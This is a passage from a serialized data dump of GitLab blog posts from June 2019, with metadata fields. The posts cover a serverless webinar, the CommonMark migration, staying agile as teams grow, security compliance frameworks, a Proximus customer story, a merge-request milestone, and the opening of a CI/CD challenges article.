platforms",[25826],"\n\nUsing containers has become standard practice in app development today. We all get the value of why you want to build with containers. But as a developer, why should you care about [serverless](/topics/serverless/)? It’s simple, you can eliminate worry about the infrastructure that your app is going to run on and focus on the impact of the app itself. Specifically the business logic of how the app will interact with things like the end users and/or operating systems.\n\nThe concepts of serverless quickly move the conversation towards one around a microservices architecture. As we move away from building applications in a monolith, moving towards serverless and eliminating the need to worry about that infrastructure begin to make a lot more sense.\n\nSo now, how do we take these concepts that we hear and/or read about that increase velocity, flexibility, and scalability, and put them into action for your own application development?\n\nFind out at our webinar, \"Running containerized applications on modern serverless platforms\" on Jun. 25, 2019 with GitLab and Google experts. We'll take a deep dive into how new and emerging technologies like Kubernetes, Knative, Cloud Run, and GitLab Serverless can provide great stability and scalability while lowering costs and increasing the pace of innovation.\n\n[Reserve your spot.](https://webinars.devops.com/running-containerized-applications-on-modern-serverless-platforms)\n{: .alert .alert-gitlab-purple .text-center}\n",[923,4103,232,110,2509],{"slug":29111,"featured":6,"template":678},"google-gitlab-serverless-webinar","content:en-us:blog:google-gitlab-serverless-webinar.yml","Google Gitlab Serverless Webinar","en-us/blog/google-gitlab-serverless-webinar.yml","en-us/blog/google-gitlab-serverless-webinar",{"_path":29117,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":29118,"content":29124,"config":29129,"_id":29131,"_type":16,"title":29132,"_source":17,"_file":29133,"_stem":29134,"_extension":20},"/en-us/blog/how-we-migrated-our-markdown-processing-to-commonmark",{"title":29119,"description":29120,"ogTitle":29119,"ogDescription":29120,"noIndex":6,"ogImage":29121,"ogUrl":29122,"ogSiteName":1180,"ogType":1181,"canonicalUrls":29122,"schema":29123},"How we migrated to CommonMark","A senior backend engineer shares how (and why) we migrated our Markdown processing from RedCarpet to CommonMark.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749671172/Blog/Hero%20Images/markdown-tutorial-cover.png","https://about.gitlab.com/blog/how-we-migrated-our-markdown-processing-to-commonmark","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How we migrated to CommonMark\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Brett Walker\"}],\n        \"datePublished\": \"2019-06-13\",\n      }",{"title":29119,"description":29120,"authors":29125,"heroImage":29121,"date":29089,"body":29127,"category":734,"tags":29128},[29126],"Brett Walker","\n[Markdown](https://daringfireball.net/projects/markdown/) was originally created by John Gruber as a way of writing readable plain text that can be easily converted into HTML or XHTML. Over the years it has become widely adopted for writing online content, whether it's a blog post, discussion threads, documentation, and even books.\n\n### Why we moved to CommonMark\n\nVarious \"flavors\" of Markdown have been created, each with their own extensions and idiosyncrasies. [GitHub Flavored Markdown](https://github.github.com/gfm/) is one of the most widely used and adopted set of extensions (such as task lists). With all the flavors behaving a little differently, it has become increasingly difficult to write Markdown content and have it [properly rendered everywhere](https://babelmark.github.io).\n\n[GitLab uses Markdown extensively](https://docs.gitlab.com/ee/user/markdown.html) – almost all user-generated content is written in it, from issue and merge request descriptions, to comments and discussions, wiki pages, etc.\n\nThe goal of [CommonMark](https://commonmark.org) is to create \"a strongly defined, highly compatible specification of Markdown\":\n\n> We propose a **standard, unambiguous syntax specification for Markdown**, along with a **suite of comprehensive tests** to validate Markdown implementations against this specification. We believe this is necessary, even essential, for the future of Markdown.\n\nBy adopting CommonMark as standard, we move closer to having Markdown files that are consistently rendered across applications. Ideally, Markdown content should be able to be rendered the same on GitHub, GitLab, or any other Markdown-aware application.\n\nUsers have also opened numerous issues about our Markdown not working as they expected. CommonMark solves most of these problems, and therefore gives our users a more consistent and usable experience.\n\nMany platforms have also migrated to CommonMark, including [GitHub](https://github.com) and [Discourse](https://discourse.org).\n\n### Phases of migration\n\nWe rolled out the migration in phases, wanting to make it as painless as possible. We achieved this with the gracious help of [@blackst0ne](https://gitlab.com/blackst0ne) who started the effort.\n\n#### Phase 1: Only new content\n\nIn the first phase ([GitLab 11.1](/releases/2018/07/22/gitlab-11-1-released/)), we only allowed CommonMark to be used in newly created content, such as issue and merge request descriptions, comments, etc. Any older content, even if edited, would continue to be rendered using RedCarpet.\n\nSince we cache rendered Markdown for performance, we keep a `cached_markdown_version` value in our database. Using this, we were able to determine whether the content should be rendered with CommonMark or not. As the largest version number at the time was 3, we designated version 10 as being the start of any CommonMark cached content. Anything less would be considered RedCarpet markdown.\n\nAdditionally we did not use CommonMark for repository and wiki files.  We wanted a [minimal viable change](https://handbook.gitlab.com/handbook/values/#minimal-viable-change-mvc) to not only test the waters but minimize any initial problems.\n\n#### Phase 2: Repository and wiki files\n\nThe next step ([GitLab 11.3](/releases/2018/09/22/gitlab-11-3-released/)) was to allow repository and wiki files to be rendered with CommonMark. This was a bigger change in the sense that existing content could potentially look different.\n\nIn practice, RedCarpet and CommonMark are very similar, as would be expected, and are in general compatible. There are a few instances where the syntax is different, such as the indentation needed for bulleted lists inside a numbered list, or the use of superscripts, which CommonMark does not support. For most documents, no change is needed.\n\nHowever we also knew that we couldn't touch user files or do any sort of migration. Instead, we created a [small tool](https://gitlab.com/digitalmoksha/diff_redcarpet_cmark) that can generate the changes necessary for files to be converted. This is done by rendering into HTML using RedCarpet, and then generating CommonMark from it using [Pandoc](https://pandoc.org).\n\n#### Phase 3: CommonMark throughout\n\nThe final phase was to remove RedCarpet completely. By this time, CommonMark had been in use for several months – only older content was still being rendered with RedCarpet. However, we were accumulating technical debt by supporting both methods – new functionality or security fixes had to consider both renderers.\n\nWith RedCarpet removed, we now display older content with CommonMark. Differences are small and only affect a small percentage of the overall content, and the possibility of looking at older issues or merge requests decreases with time.\n\n#### Improvements upstream\n\nThere were a couple of issues we ran into during the implementation where we were able to drive some changes to the upstream libraries.\n\nThe first is that RedCarpet supports using `~~` to indicate using strikethrough. We use [cmark-gfm](https://github.com/github/cmark-gfm) for rendering, giving us both CommonMark and common GitHub Flavored Markdown extensions. And although it supports using any number of tildes for strikethrough, we wanted to make the transition a little easier by [only supporting double tildes](https://github.com/github/cmark-gfm/issues/71). A new option, `CMARK_OPT_STRIKETHROUGH_DOUBLE_TILDE`, was added to [ gjtorikian/commonmarker](https://github.com/gjtorikian/commonmarker/commit/1a973ba872e50b22ee53652ffa12cdfe2fe90155), allowing us to turn on support for double-tilde strikethroughs.\n\nSecond, we found a bug in [gjtorikian/commonmarker](https://github.com/gjtorikian/commonmarker/issues/56), where a `\u003Ctbody>` wasn't getting rendered. This was quickly fixed.\n\nMany thanks to [@kivikakk](https://github.com/kivikakk) and [@gjtorikian](https://github.com/gjtorikian) for their help with these issues.\n\n### Conclusion\n\nThe transition took several months, but we're happy to have moved our Markdown processing to the next level. And should you run into the few problematic edge cases, [diff_redcarpet_cmark](https://gitlab.com/digitalmoksha/diff_redcarpet_cmark) should be able to help.\n",[2368],{"slug":29130,"featured":6,"template":678},"how-we-migrated-our-markdown-processing-to-commonmark","content:en-us:blog:how-we-migrated-our-markdown-processing-to-commonmark.yml","How We Migrated Our Markdown Processing To Commonmark","en-us/blog/how-we-migrated-our-markdown-processing-to-commonmark.yml","en-us/blog/how-we-migrated-our-markdown-processing-to-commonmark",{"_path":29136,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":29137,"content":29142,"config":29148,"_id":29150,"_type":16,"title":29151,"_source":17,"_file":29152,"_stem":29153,"_extension":20},"/en-us/blog/manage-conversation-staying-agile",{"title":29138,"description":29139,"ogTitle":29138,"ogDescription":29139,"noIndex":6,"ogImage":28040,"ogUrl":29140,"ogSiteName":1180,"ogType":1181,"canonicalUrls":29140,"schema":29141},"5 Ways to stay agile in a growing organization","Some of the GitLab Manage team have a conversation about staying agile as a company grows.","https://about.gitlab.com/blog/manage-conversation-staying-agile","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"5 Ways to stay agile in a growing organization\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Jeremy Watson\"}],\n        \"datePublished\": \"2019-06-10\",\n      }",{"title":29138,"description":29139,"authors":29143,"heroImage":28040,"date":29145,"body":29146,"category":8943,"tags":29147},[29144],"Jeremy Watson","2019-06-10","\nSome of us on GitLab's [Manage team](/handbook/engineering/development/dev/manage/) had a discussion a while back about the challenges of staying agile while a company scales. In true GitLab style, the [discussion took place asynchronously via an issue](https://gitlab.com/gitlab-org/manage/issues/13). Here it is:\n\n## How do you stay agile in a growing organization?\n\n### 1. Make quick, but thoughtful decisions\n\n[Jeremy, product manager](/company/team/#gitJeremy): This is the fundamental thing that allows startups to be competitive against dominant players in a market: It's using your resources more efficiently and moving faster than anyone else.\n\nTo me, two primary characteristics that support agility are making quick but thoughtful decisions, and focus. I think Amazon is a great example of the first, and I like [Amazon's simple Type-1/Type-2 framework](https://www.forbes.com/sites/eriklarson/2018/09/24/how-jeff-bezos-uses-faster-better-decisions-to-keep-amazon-innovating/#5feb716c7a65) for identifying the Type 2 decisions that are easily reversed, and allowing the threshold of approval to be relatively low.\n\nAs companies grow, it feels like the perceived number of Type 1 decisions grows in turn – and the organization slows down as more decision layers emerge. One thing I love about GitLab is that we're still dedicated to moving quickly and we're not constantly asking for permission to make things better. If it's easily revertible and makes something better, ship it. In all honesty, I think this is one of our biggest competitive advantages.\n\n### 2. Hire the right people\n\n[Liam, engineering manager](/company/team/#lmcandrew): The interesting thing here is that lots of organizations (big and small) now realize the value of Agile ways of working (admittedly, many of which do agile but aren't agile), making it less of a competitive advantage and more like table stakes. Therefore, I think of Agile as the sensible (only?) choice when it comes to delivering your own product to customers. An Agile mentality lets you deliver incremental, low-risk value to customers, allowing you to get feedback or pivot with minimal investment.\n\nI think the single most important thing for me here is hiring – hiring the right people who truly understand the value of agile ways of working.\n\nOne of the statements in [GitLab's Efficiency value](https://handbook.gitlab.com/handbook/values/#efficiency) points out a particular behavior that is so important here:\n\n> Accept mistakes: Not every problem should lead to a new process to prevent them. Additional processes make all actions more inefficient and a mistake only affects one.\n\nAs an organization grows its headcount, the number of business processes invariably grows with it. It's very easy to add process as a knee-jerk reaction to a problem or because it makes you feel more confident in something being executed. Having a team question the value of new processes and perhaps ask \"What do we lose by introducing this process?\" is vital to keep agility.\n\n### 3. Keep teams small and focused\n\n[Jeremy](/company/team/#gitJeremy): I don't know if I agree that as an organization grows that business processes invariably grow as well. This is what I meant earlier when I mentioned focus; without smaller teams focused on problems they own, interests start to compete and decision-making slows down because more people have a stake in the outcome.\n\nYou can mitigate this with small, focused teams. This is harder in monolithic codebases with lots of dependencies between teams.\n\nI do agree that hiring is critical to ensure everyone is questioning the status quo. The default answer to new process should be \"no,\" unless there's some acute pain it alleviates.\n\n[Luke Bennett, frontend engineer](/company/team/#__lukebennett): It is hard to avoid the reduction in velocity as a single team grows beyond some unknown threshold. A \"single team\" is a group of humans (or robots I suppose) making informed decisions about a cross-section of a product. As the team grows, it typically means the number of issues is already growing. There are more people accountable for those issues, more people making decisions on those issues, and more people contributing to those issues.\n\nIn software it also leads to team members working \"at the same workbench\" too often and of course makes the job of managing the team harder; even hosting a productive team call or keeping in touch with team members can become a challenge. This can easily lead to inefficient hierarchies to \"patch\" the problem, which can seem like a simple short cut compared to getting **more** Agile.\n\nFrom my own experience, splitting a large team into smaller ones instantly provides a feeling of relief for team members. Of course it's not just about the size of the team, it's also about their responsibilities/scope. Team members desperately want to be contributing meaningful changes on time and a reduction in scope lets them focus again on a more specific cross-section of the product, shifting attention away from the larger team discussions that may not be specific to a product area. Put simply, a discussion between [Manage](/stages-devops-lifecycle/) product category members of 10 people will be much more product-focused than a Frontend discussion of 20 people. You can expect their contributions to be the same. Additionally, the chance to build a stronger connection and appreciation for your team members is not to be ignored. There are definitely productivity gains when everyone is on the same raft!\n\n>Team members desperately want to be contributing meaningful changes on time and a reduction in scope lets them focus again on a more specific cross-section of the product, shifting attention away from the larger team discussions that may not be specific to a product area.\n\nI feel like this is a natural behaviour of humans. Agile feels natural to me at least and historically people never seem to work too well in very large groups. In the UK at least, we often reference the proverb \"Too many cooks spoil the broth.\" It's a little more complex and less brutal than that in software development, but it stands.\n\nThat said, avoiding large teams can lead to more problems. It reminds me of [Amdahl's law](https://en.wikipedia.org/wiki/Amdahl%27s_law) in that when you create more Agile teams, you create management overhead to orchestrate the direction of the teams. Agile with small teams is relatively simple because this effect is negligible, but as you scale your Agile organisation, you have to start paying attention to it.\n\n### 4. Allow teams to experiment with their own processes\n\n[Sanad Liaquat, senior test automation engineer](/company/team/#sanadliaquat): To me, keeping the size of teams small and focused on specific areas with well defined scope/boundaries is very important to stay agile in a growing organization. Also, the team should be allowed to discover their own processes and evolve. This works very well when the organization has teams laboring on separate projects with separate codebases. Each Agile team/project can then share what works best for them with other teams which can decide to adopt the practice or not. When projects have dependencies on each other, it is important that there be effective coordination on release timings between teams.\n\nWith organizations such as GitLab, where there is a single codebase, teams having their own process is not pragmatic. I believe GitLab handles Agile very well by dividing the organization into 2D slices of teams (Frontend, Backend, Security, Quality, etc.) and groups (Plan, Manage, Create, etc.) and having well-defined processes shared across groups. I believe it is necessary to keep an eye on the size of the group and think about breaking it down if it grows beyond what is considered a small and effective Agile group. (How small is \"small\" would be a separate discussion.)\n\n[Jeremy](/company/team/#gitJeremy): Yeah, I agree that small teams are pretty key. Sanad brought up dependencies, which is really important. You can have small teams, but if they can't operate independently you'll lose all your velocity.\n\nIt's interesting that you say that teams at GitLab don't have their own processes, because it feels like our teams DO have their own processes. We have some standardization like release cadence (monthly on the 22nd) and some labels (Deliverable), but we're free to do our own thing.\n\nWe operate differently than [Plan](/handbook/engineering/development/dev/plan/) and [Create:Source Code](/handbook/engineering/development/dev/create/source-code-be/), for instance. Plan uses the \"due-22nd\" label to split the work into two-week chunks, and Create:Source Code still estimates issues individually. I think it's a strength that we can individually experiment, but why isn't this more of a problem?\n\nI do think that different teams have different needs. I feel like some processes work better for other teams – maybe based on the personalities of the people or the engineering/product maturity of that particular stage.\n\nI don't know if we've really asked \"why\" or documented what's worked and what hasn't. I'm sure individual teams have experimented a lot, but I wonder if we're missing out by not tracking and sharing some of the things we've tried.\n\n[Sanad](/company/team/#sanadliaquat): I was not aware of other teams within GitLab having different processes like the ones Jeremy mentioned. I do agree that some processes can differ within teams and it is a strength that allows a team to experiment on their own and evolve as they deem fit for themselves. However, when working on the same codebase, it is better (or unavoidable) for teams to have uniformity on things like the code review process, testing strategies, documentation standards, etc.\n\n### 5. Make sure everyone is on the same page\n\n[Martin Wortschack, senior frontend engineer](/company/team/#wortschi): I also want to emphasize how important it is for an organization's leadership to understand what \"Agile\" means and that it's not just another fancy buzzword. It requires change. Depending on the organization it could mean anything including introducing new processes, hiring the right people, etc.  Therefore it's very important that everyone involved has the same expectations and common understanding of \"staying Agile\" (or \"becoming Agile\") and understands the necessary steps that need to be taken towards being an Agile organization. The best talent won't be able to change much if their decisions are not backed by the executives. I've seen a lot of companies that would consider themselves an \"Agile organization\" just because they have set up a Jira project.\n\nSo, to me the most important thing is everybody's ability and willingness to change.\n\n_If you'd like to see more of these discussions around other topics, please let us know in the comments below or in [the original issue](https://gitlab.com/gitlab-org/manage/issues/13)._\n\n[Photo](https://unsplash.com/photos/HSXv_s2gH3U?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) by Andrew McElroy on [Unsplash](https://unsplash.com/search/photos/sprint?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n",[1899,2368,676],{"slug":29149,"featured":6,"template":678},"manage-conversation-staying-agile","content:en-us:blog:manage-conversation-staying-agile.yml","Manage Conversation Staying Agile","en-us/blog/manage-conversation-staying-agile.yml","en-us/blog/manage-conversation-staying-agile",{"_path":29155,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":29156,"content":29162,"config":29166,"_id":29168,"_type":16,"title":29169,"_source":17,"_file":29170,"_stem":29171,"_extension":20},"/en-us/blog/when-technology-outpaces-security-compliance",{"title":29157,"description":29158,"ogTitle":29157,"ogDescription":29158,"noIndex":6,"ogImage":29159,"ogUrl":29160,"ogSiteName":1180,"ogType":1181,"canonicalUrls":29160,"schema":29161},"When technology outpaces security compliance","Where does today's tech transformation leave tomorrow's security compliance? A senior security analyst tackles the question.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749678968/Blog/Hero%20Images/signpost-sunset.jpg","https://about.gitlab.com/blog/when-technology-outpaces-security-compliance","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"When technology outpaces security compliance\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Luka Trbojevic\"}],\n        \"datePublished\": \"2019-06-10\",\n      }",{"title":29157,"description":29158,"authors":29163,"heroImage":29159,"date":29145,"body":29164,"category":674,"tags":29165},[28025],"\nFor the past couple of years, security compliance frameworks have felt increasingly less representative of the technology of today, with good reason. Everything from computing to network security has experienced a continental shift.\n\nIt feels like just yesterday I was hunting for the best deal on T1 lines and a reliable, dedicated server host. And the design meetings held to put together an elaborate, hardened network perimeter feel fresh in my mind as well.\n\nNow we can deploy infrastructure with a few clicks (or lines of code), with load balancers not requiring any pre-warming and content delivery networks (CDNs) effortlessly at our disposal. [Serverless computing](/topics/serverless/) provisions compute resources just long enough for the job to finish, no system administration needed. On the software end, containerization has isolated applications from the environment they run in and removed reliance on the particulars of the infrastructure.\n\nAnd [zero trust](/blog/evolution-of-zero-trust/) – trust nothing in the network, always verify – is gaining traction as an alternative to the network perimeter model. At GitLab we're [on our own journey toward zero trust](https://www.youtube.com/watch?v=DrPiCBtaydM), and as the technology supporting zero trust gets better and more accessible, adoption will likely continue.\n\n### How (and where) we work is changing, too\n\nAt GitLab, we’re [all remote](/company/culture/all-remote/). In fact, I started writing this blog post in New Orleans for [GitLab Contribute](/events/gitlab-contribute/), then flew to Washington, DC for a graduation and finished the first rough draft, and now I’m at a Starbucks in the Seattle area adding the finishing touches.\n\nSo where does all this transformation leave security compliance? Well, the frameworks of five years ago were designed to help secure the technology of five years ago, which is much different than the technology used in the production environments of today. A security best practice now may have no representation in a framework designed for the security best practices of years prior, and the incredible things we’re doing for security may not be recognized by those frameworks. Because of advances and changing practices like remote work, physical security controls sometimes may not be applicable, for example.\n\n> The frameworks of five years ago were designed to help secure the technology of five years ago\n\nIn the past, technology has been outpacing security compliance, but the former is catching up thanks to individual and industry contributions and a strong enthusiasm for making security more sensible and accessible.\n\nWe're starting to see a steady adoption of the modern, changing technology landscape by compliance frameworks. Security compliance frameworks such as [FedRAMP](https://web.archive.org/web/20190514153600/https://www.fedramp.gov/about/) offer “a standardized approach to security assessment, authorization, and continuous monitoring for cloud products and services,” to simplify compliance in a cloud-first environment.\n\nAt GitLab, we're creating our own compliance controls framework and [open sourcing](/handbook/security/security-assurance/security-compliance/sec-controls.html) it as we go. This gives other organizations a practical, real-world reference on how we at GitLab approach compliance as a cloud native, all-remote company.\n\n### Progress is ongoing\n\nCompliance is changing along with the technology we use, so the story we tell of what we're doing, why, and how it aligns with compliance standards has to change along with it. At the same time, the standards have to evolve with us, so they can support and enable us as a driving force behind our efforts to protect the consumer.\n\nI think both are happening at a pace that should positively surprise us all, but there’s a natural, appropriate, and intuitive expectation from the technology community at large that security compliance frameworks be more directly relevant and supportive of security itself. This raises the bar, while sending the message that we need to be more focused on protecting the consumer than on crafting wordsmith-quality justifications for our controls and mitigations to satisfy an auditor.\n\nTo end, I’d encourage everyone to think about what security compliance frameworks could be doing to help enable security and protect customers that isn’t happening already. Then, share your thoughts, struggles, ideas, and feedback to your network and get the conversation started. We’d love to hear from you in the comments below, too!  When we collectively vocalize both our frustrations and solutions, we can work together to make incredible progress.\n\nPhoto by [Javier Allegue Barros](https://unsplash.com/@soymeraki?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on Unsplash\n{: .note}\n",[674],{"slug":29167,"featured":6,"template":678},"when-technology-outpaces-security-compliance","content:en-us:blog:when-technology-outpaces-security-compliance.yml","When Technology Outpaces Security Compliance","en-us/blog/when-technology-outpaces-security-compliance.yml","en-us/blog/when-technology-outpaces-security-compliance",{"_path":29173,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":29174,"content":29180,"config":29186,"_id":29188,"_type":16,"title":29189,"_source":17,"_file":29190,"_stem":29191,"_extension":20},"/en-us/blog/proximus-customer-story-clearcase-to-gitlab",{"title":29175,"description":29176,"ogTitle":29175,"ogDescription":29176,"noIndex":6,"ogImage":29177,"ogUrl":29178,"ogSiteName":1180,"ogType":1181,"canonicalUrls":29178,"schema":29179},"Proximus shares its #movingtoGitLab story","Moving to GitLab resulted in an 80 percent drop in support tickets and an increase in developer productivity.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749678603/Blog/Hero%20Images/traffic-at-sunset.jpg","https://about.gitlab.com/blog/proximus-customer-story-clearcase-to-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Proximus shares its #movingtoGitLab story\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Bert Van Eyck\"}],\n        \"datePublished\": \"2019-06-07\",\n      }",{"title":29175,"description":29176,"authors":29181,"heroImage":29177,"date":29183,"body":29184,"category":8943,"tags":29185},[29182],"Bert Van Eyck","2019-06-07","\n[Proximus](https://www.proximus.com/) is a telecommunication company providing services to residential, enterprise, and public users. We are the leading provider of telephony, internet, television, and network-based ICT services in Belgium, with more than 2 million customers.\n\n## Our road to GitLab\n\nThe technical divisions of Proximus deliver a big part of the applications and systems required for delivering the best possible service to our end users. It includes all types of capabilities such as network construction, network maintenance, product ordering, product selling, billing, etc.\nSome examples of our development include:\n\n- Our website, [Proximus.be](https://www.proximus.be), on which users can find product info, support info and so much more.\n- A mobile app where everyone can check their usage, products, bills, etc.\n- Television interface.\n- A television app.\n\nTo ensure a performant and stable working environment for our developers, we have been working for several years to create a CI/CD DevOps workflow.\n\nThe first complete chain started in 2014 and used tools like ClearCase, Jenkins, Nexus, etc. By 2015 we had about 200 applications which were using our end-to-end chain to build and deploy in all different environments.\n\nIn 2016, to continue to improve our delivery chain, we considered switching ClearCase to Git. Despite ClearCase being a powerful tool, we noticed that the learning curve and the ease of use of ClearCase was not optimal. Also some of the tools we used were starting to lose compatibility.\n\nWe quickly came across GitLab and decided to try our first setup with [GitLab CE](/blog/gitlab-tiers/) in mid-2016.\n\n## The evolution of GitLab inside Proximus\n\nOur first implementation of Gitlab was rapidly a real success and the popularity of GitLab was increasing exponentially within our developer community. So, we decided to set up a corporate GitLab CE server at Proximus and to promote the creation of all new applications using our existing CI/CD chain with GitLab as source code management.\nIn just one year of using GitLab, we grew to 325 projects and about 600 users.\n\nBecause GitLab was becoming a big part of our tool set, we switched to GitLab EE in Q2 of 2017. This allowed us to use more features of GitLab such as: LDAP groups, push rules, mirror repositories, etc.\nAnd of course, with the enterprise edition you also receive additional support. With the enterprise edition we also started moving applications from ClearCase to GitLab.\n\nWe were also investigating and testing other features to expand our use of GitLab in the meantime:\n\n- Some projects have started using GitLab CI to build.\n- Integration with Jira has been implemented.\n- Currently experimenting with a first setup of GitLab’s global search function in combination with Elasticsearch.\n\nBy the end of 2018 we had grown to almost 1,000 users and 1,700 projects.\n\n## Challenges\n\nOur biggest challenge was to maintain and ensure a stable environment while growing rapidly. When we started using GitLab CI we encountered some issues with the large number of pipelines and jobs being created, which were consuming a lot of our resources. But [as of GitLab 11.6 a feature has been provided to remove pipelines with their job logs when using API](/releases/2018/12/22/gitlab-11-6-released/#pipelines-can-now-be-deleted-by-project-maintainers-using-api), which helped a lot.\n\n## Results\n\nSince we started using GitLab, we have been able to provide our developers with faster setup and support. Another very noticeable side effect of switching to GitLab was the significant drop in the number of support tickets created by the developers. Our first full year of using GitLab inside our CI/CD setup resulted in **80 percent** fewer tickets.\n\nEven in 2018, after our total number of users had grown to almost 1,000, the number of projects had multiplied by five and we migrated 75 applications to GitLab. We still had **65 percent** fewer tickets.\n\nIn the future, we will continue looking into expanding our GitLab environment and we hope to continue the positive evolution together with the support of GitLab.\n",[267,1067,232,4772,815],{"slug":29187,"featured":6,"template":678},"proximus-customer-story-clearcase-to-gitlab","content:en-us:blog:proximus-customer-story-clearcase-to-gitlab.yml","Proximus Customer Story Clearcase To Gitlab","en-us/blog/proximus-customer-story-clearcase-to-gitlab.yml","en-us/blog/proximus-customer-story-clearcase-to-gitlab",{"_path":29193,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":29194,"content":29200,"config":29205,"_id":29207,"_type":16,"title":29208,"_source":17,"_file":29209,"_stem":29210,"_extension":20},"/en-us/blog/1-mil-merge-requests",{"title":29195,"description":29196,"ogTitle":29195,"ogDescription":29196,"noIndex":6,"ogImage":29197,"ogUrl":29198,"ogSiteName":1180,"ogType":1181,"canonicalUrls":29198,"schema":29199},"You contributed 1 million merge requests in a month!","GitLab.com surpassed 1 million merge requests in March 2019, hitting a new record for monthly engagement.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680631/Blog/Hero%20Images/1m-merge-requests-cover.png","https://about.gitlab.com/blog/1-mil-merge-requests","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"You contributed 1 million merge requests in a month!\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sara Kassabian\"}],\n        \"datePublished\": \"2019-06-06\",\n      }",{"title":29195,"description":29196,"authors":29201,"heroImage":29197,"date":29202,"body":29203,"category":813,"tags":29204},[17272],"2019-06-06","\n\nWhile the open source community comes together this week to celebrate the [fifth anniversary of Kubernetes](https://www.eventbrite.com/e/kubernetes-5th-anniversary-celebration-tickets-62064099392?aff=ebdssbdestsearch), at GitLab, we've hit a milestone of our own 🎉\n\nGitLab.com received a record **1 million merge requests** (MRs) in March 2019, the largest number of monthly MRs since the project began. The increase in engagement continued through April, when another million MRs were created. There was a 17% spike in the number of merge requests between February and March 2019 – a significant increase in engagement.\n\nThe amount of monthly MR activity has outpaced the number of active monthly users on GitLab.com. In fact, the number of new MRs per active user has increased by 40% year-over-year (May 2019 vs. May 2018). The primary driver of this spike is MRs in private projects on GitLab.com, indicating there is opportunity to increase the wider community's engagement in public projects.\n\n## Everyone can contribute\n\nWe built GitLab so [everyone can contribute](/company/mission/#mission)! We regularly receive MRs from software developers, project managers, and writers (like me!) pertaining to different private and public projects.\n\nGitLab may be a DevOps tool, but these MRs are in no way limited to developer activities. GitLab was designed so contributors can collaborate on projects, taking an idea from the conceptual to the actionable through a series of iterative changes. These 1 million MRs in March 2019 don’t all represent monumental changes to GitLab. Instead, they represent a million different ways the community has contributed to GitLab.\n\n\"Our [ambitious, shared vision](/direction/#vision) to make it easier and faster to innovate with a [single application](/handbook/product/single-application/) is only achievable with the support of the wider community,\" says Jeremy Watson, senior product manager for the Manage team at GitLab. \"We can't do it alone; we're happy to welcome first-time contributors, and [members of the community can help in a variety of ways](/community/contribute/) – even if you're not comfortable with contributing with code.\"\n\n\"We've had about 40-50 new contributors in the past six to seven releases,\" adds Ray Paik, code contributor program manager. \"These are first-time contributors who had their MRs merged.\"\n\nWe see MRs that span highly technical topics, such as executing on our [monitoring product roadmap](/direction/monitor/), to MRs that are more operational, such as making improvements to the GitLab onboarding process. A lot of first-time contributors start by making improvements to our documentation, which doesn't involve writing code at all. There's also [more to contributing than submitting MRs](/blog/how-do-you-contribute/)!\n\nSo whether you spot a typo in the [GitLab handbook](/handbook/), or want to [contribute to our documentation](/community/contribute/), start a conversation with us and open an issue or submit an MR today.\n",[267,815],{"slug":29206,"featured":6,"template":678},"1-mil-merge-requests","content:en-us:blog:1-mil-merge-requests.yml","1 Mil Merge Requests","en-us/blog/1-mil-merge-requests.yml","en-us/blog/1-mil-merge-requests",{"_path":29212,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":29213,"content":29218,"config":29223,"_id":29225,"_type":16,"title":29226,"_source":17,"_file":29227,"_stem":29228,"_extension":20},"/en-us/blog/modernize-your-ci-cd",{"title":29214,"description":29215,"ogTitle":29214,"ogDescription":29215,"noIndex":6,"ogImage":28827,"ogUrl":29216,"ogSiteName":1180,"ogType":1181,"canonicalUrls":29216,"schema":29217},"3 CI/CD challenges to consider","If these DevOps challenges hit close to home, the right CI/CD could be the answer.","https://about.gitlab.com/blog/modernize-your-ci-cd","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"3 CI/CD challenges to consider\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Chrissie Buchanan\"}],\n        \"datePublished\": \"2019-06-05\",\n      }",{"title":29214,"description":29215,"authors":29219,"heroImage":28827,"date":29220,"body":29221,"category":8943,"tags":29222},[18462],"2019-06-05","\n[Continuous integration and delivery](/solutions/continuous-integration/) helps DevOps teams ship higher quality software, faster. But is all [CI/CD](/topics/ci-cd/) created equal? What does successful CI/CD implementation look like and how do you know you’re on the right track?\n\nIn this four-part series, we talk about modernizing your CI/CD: Challenges, impact, outcomes, and solutions. Today, we’ll focus on [DevOps](/topics/devops/) challenges and situations where a comprehensive CI/CD approach could be the answer you’ve been looking for.\n\nIf these problems hit a little too close to home, stay tuned for part two where we dive deeper into how these roadblocks impact the rest of the SDLC.\n\n## What challenges do I face?\n\n### 1. Maintenance and integration costs, predominantly human resources costs.\n\nA large percentage of the overall IT budget goes to support teams of engineers needed to integrate and maintain a complex toolchain. An enterprise company with 1,000 developers could need up to 40 engineers just to maintain the DevOps toolchain instead of allocating these resources towards delivering business value.\n\n### 2. Development is slowed/blocked by the operations team.\n\nThe quintessential challenge of the pre-DevOps world is that dev teams are incentivized to increase innovation velocity by shipping new features. Operations teams are incentivized for stability, uptime, and error reduction. The higher the development velocity, the greater the chance for downtime and errors – so these teams are naturally at odds with each other. Dev leaders don’t always have enough enticing evidence or incentive to go to the Ops team to advocate 